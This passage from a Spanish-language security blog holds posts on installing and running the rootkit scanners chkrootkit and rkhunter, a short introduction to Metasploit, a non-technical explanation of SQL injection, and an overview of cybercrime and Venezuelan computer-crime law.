En estos ejemplos se usan dos métodos de encriptación diferentes.


Si te gusto la entrada no dudes en realizar un donativo.


jueves, 21 de febrero de 2019

Verificar ataque por rootkits con rkhunter y chkrootkit


Lo primero que debemos saber es ¿Qué es un rootkit?
Un rootkit es un conjunto de software que permite un acceso de privilegio continuo a un ordenador pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones. El término proviene de una concatenación de la palabra inglesa root, que significa 'raíz' (nombre tradicional de la cuenta privilegiada en los sistemas operativos Unix) y de la palabra inglesa kit, que significa 'conjunto de herramientas' (en referencia a los componentes de software que implementan este programa). Algunas versiones en español de programas informáticos lo han traducido como «encubridor».
Fuente: wikipedia.
Teniendo en conocimiento del concepto de un rootkit, ya te tiene una idea de que manera un usuario o servidor bajo sistemas UNIX más específicamente GNU/Linux puede ser atacado a continuación mostraré como se puede usar las herramientas rkhunter y chkrootkit para determinar si el sistema se encuentra comprometido por ello.

Lo primero que debemos hacer es descargar ambas herramientas en las siguientes url:

http://www.chkrootkit.org/

http://rkhunter.sourceforge.net/

Podemos usar wget para descargar los archivos, Una vez teniendo los archivos comenzamos....

Primero instalamos chkrootkit y procedemos a probarlo.

Teniendo el archivo de fuentes empaquetado y comprimido como .tar.gz procedemos a descomprimirlo e instalarlo con los siguientes comandos en modo root estando en el directorio donde se descargaron:

tar xvzf chkrootkit.tar.gz

cd chkrootkit (o el directorio donde se haya descomprimido)

make sense (se compilan los fuentes en C mas no se instala)

make install sense (se compila y se instala)

Teniendo ya instalado o compilado chkrootkit solo tenemos que ejecutar como root:

./chkrootkit (caso de solo haberlo compilado hay que estar en el dir donde se compiló).

chrootkit (caso de estar instalado).

Esta herramienta verifica que no exista ningún rootkit y muestra la siguiente salida si no encontro el mismo:

Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
...

Segundo instalamos rkhunter y procedemos a probarlo.

El proceso para este es muy parecido pero el mismo tiene un archivos .sh que instala la herramienta completamente recuerden que para instalarlo se debe estar en modo root o logueado como root:

tar xvzf rkhunter-1.3.2.tar.gz

cd rkhunter (o el directorio donde se haya descomprimido)

./installer.sh --layout default --show

Para ejecutar rkhunter solo debemos como root ejecutar el siguiente comando:

rkhunter -c

El mismo realiza la verificación y si no detecto nada muestra la siguiente salida por pantalla.


[ Rootkit Hunter version 1.3.2 ]

Checking system commands...

Performing 'strings' command checks
Checking 'strings' command            [ OK ]

Performing 'shared libraries' checks

Checking for preloading variables     [ None found ]
Checking for preload file             [ Not found ]
Checking LD_LIBRARY_PATH variable     [ Not found ]

Performing file properties checks

Checking for prerequisites            [ OK ]
/bin/awk                              [ OK ]
/bin/basename                         [ OK ]
/bin/bash                             [ OK ]
/bin/cat                              [ OK ]
/bin/chmod                            [ OK ]
/bin/chown                            [ OK ]
/bin/cp                               [ OK ]
/bin/csh                              [ OK ]
/bin/cut                              [ OK ]
/bin/date                             [ OK ]
/bin/df                               [ OK ]
....


Si te gusto esta entrada no dudes en realizar un donativo visita la opción ayuda del menú.


domingo, 17 de febrero de 2019

MetaSploit ¿Qué es? ¿Para qué nos puede servir?


La primera pregunta que debemos hacernos es; ¿Qué metasploit?.

Metasploit es un proyecto de código abierto para la seguridad informática, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración "Pentesting" y el desarrollo de firmas para sistemas de detección de intrusos.
Fuente: Wikipedia.
Teniendo un un concepto de lo que es, ¿Para qué nos puede servir?.

Este framework que esta disponible para sistemas windows, UNIX/Linux, MAC OS, entre otros, puedes servirte para buscar posibles vulnerabilidades que tengas en tu sistema sea para una oficina o simplemente para nuestra red del hogar y así aplicar ciertas políticas de seguridad para no estar tan indefenso ante posibles ataques.

¿Metasploit lo usan los desarrolladores de sistemas?.

Pues si es muy usado para detectar posibles fallas de seguridad que pueden ser criticas en un sistema informático que esta terminándose de desarrollar y así poder hacer las correcciones necesarias.

Ventajas de usarlo.

Se desarrollan sistemas informáticos más seguros pero con esto no quiere decir que la seguridad es total pero al menos se tienen criterios de seguridad que se deben tomar en cuenta en el desarrollo he instalación de sistemas informáticos.

¿Donde puedo obtenerlo?.

https://www.metasploit.com/

Si te gusto esta entrada no dudes en entrar en la sección ayuda y allí podrás elegir alguna de las formas de ayudarme no todas son monetarias.

miércoles, 30 de enero de 2019

SQL injection La inyección letal


Esta vulnerabilidad fue explotada en versiones de interpretes de php las cuales lograban con esto acceder a las bases de datos de sistemas informáticos este es el más escuchado pero en otros otros lenguajes de programación también fue explotada esta vulnerabilidad permitiendo tener acceso a las bases de datos de los sistemas construidos copiando o alterando su información contenida.

¿Esta es una preocupación para el usuario final?.

En cierto manera no ya que esto es preocupación de los programadores al desarrollar algún sistema informático.

¿Cuales son los lenguajes más afectados por esta vulnerabilidad?
  1. Ruby on Rails.
  2. Perl.
  3. PHP.
  4. java.
¿Se puede solventar este problema?.

Si de hecho al momento del desarrollo se debe tomar en cuenta para evitar esta vulnerabilidad en wikipedia hay información más detallada con respecto a que se debe hacer en código fuente para evitar la vulnerabilidad el artículo es; Inyección SQL.


Si te gusto el artículo no dudes en realizar un donativo.

domingo, 20 de enero de 2019

Ciber crimen en internet


Este es un tema que en la sociedad informatizada de la actualidad debemos de conocer y como los ciber-criminales suelen actuar y que buscan usualmente en sus fechorías, pero.... citemos brevemente el concepto de wikipedia:

Delito Informático.
Un "delito informático" o "ciberdelito" es toda aquella acción antijurídica y culpable a través de vías informáticas tiene como objetivo dañar por medios electrónicos y redes de Internet. Existen conductas criminales por vías informáticas que no pueden considerarse como delito, según la: "Teoría del delito", por lo cual se definen como abusos informáticos y parte de la criminalidad informática. La criminalidad informática consiste en la realización de un tipo de actividades que, reuniendo los requisitos que delimitan el concepto de delito, sean llevados a cabo utilizando un elemento informático.
Fuente: wikipedia.

Teniendo este breve concepto podemos hablar más a fondo del tema y preguntándonos cuales son los típos de delitos informáticos que pude cometer un ciber-criminal, bien se pueden mencionar los siguientes:

  1. Fraudes cometidos mediante manipulación de computadoras.
  2. Manipulación de datos de entrada.
  3. Daños o modificaciones de programas o datos computarizados.

Aunque se puede hablar de delitos más específicos como lo son:

  • Sabotaje Informático.
  • Piratería informática.
  • Carding.
  • Chalmskinn
  • Robo de identidad.
  • Phreaking.
Pero es posible ser victima de algún delito informático, la respuesta es si, y se es más propenso a ser victima de un ciberdelincuente al tener desconocimiento del mínimo de medidas que se deben tener para navegar en Internet para evitar ser victima de un ataque.

Tenemos que tener en cuenta que el ciber-crimen tiene alcance global no respeta países, ni creencias incluso ni leyes locales o medidas se seguridad aplicadas, todo por el beneficio personal de los cibercriminales, deben recordar que se debe tener consciencia y estar bien informados al respecto.

¿Existen leyes para penar delitos informáticos?.

La respuesta dependiendo del país en el que ve este residenciado se debe investigar el marco legal al respecto y como la ley ampara sistemas o infraestructuras informáticas, por ejemplo; en Venezuela existe una ley de delitos informáticos con una serie de artículos que imponen las medidas legales que puede tomar la ley en caso de la denuncia de un ciber-ataque, recolección de pruebas y determinación de culpables e imposición de penas a los mismos.

     
Si te gusto la entrada no dudes en realizar un donativo visita la opción del menú "Ayuda" allí podrás donarme tiempo de tu procesador o hacer un donativo en criptomonedas y así podré darle más dedicación a este blog.